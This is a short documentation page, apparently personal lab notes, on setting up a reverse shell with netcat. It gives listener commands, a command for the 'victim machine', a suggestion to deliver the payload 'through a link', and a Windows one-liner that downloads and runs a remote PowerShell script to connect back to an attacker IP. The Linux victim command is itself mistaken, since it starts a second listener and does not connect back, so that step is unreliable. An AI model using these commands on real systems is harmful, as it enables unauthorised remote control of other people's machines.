> For the complete documentation index, see [llms.txt](https://derek-johnson-1.gitbook.io/welcome/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://derek-johnson-1.gitbook.io/welcome/projects/reverse-shell.md).

# Reverse Shell

### Make sure nmap is installed on the target and source machines

#### Windows

<https://nmap.org/download.html#windows>

#### Linux

```
sudo apt-get install nmap
```

### Run the following command on the source machine to listen for traffic on a specified port. (linux)

```
nc -lnvp 87
```

### On the victim machine run the following command to connect to the source machine over port 87. (Linux Target)

```
nc -lvnp 87 -s <IP ADDRESS>
```

#### Note: This command is an example of a payload. A script that runs this command can be put onto a machine through a link etc. In the Metasploit project we will look into more advanced payloads(.

### Attacking a Windows Machine

#### Command to listen on port 87 for Windows traffic.

```
stty raw -echo; (stty size; cat) | nc -lvnp 87 
```

#### Pass the following command to start the reverse shell and connect to the attacker.

```
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.2.15 87
```
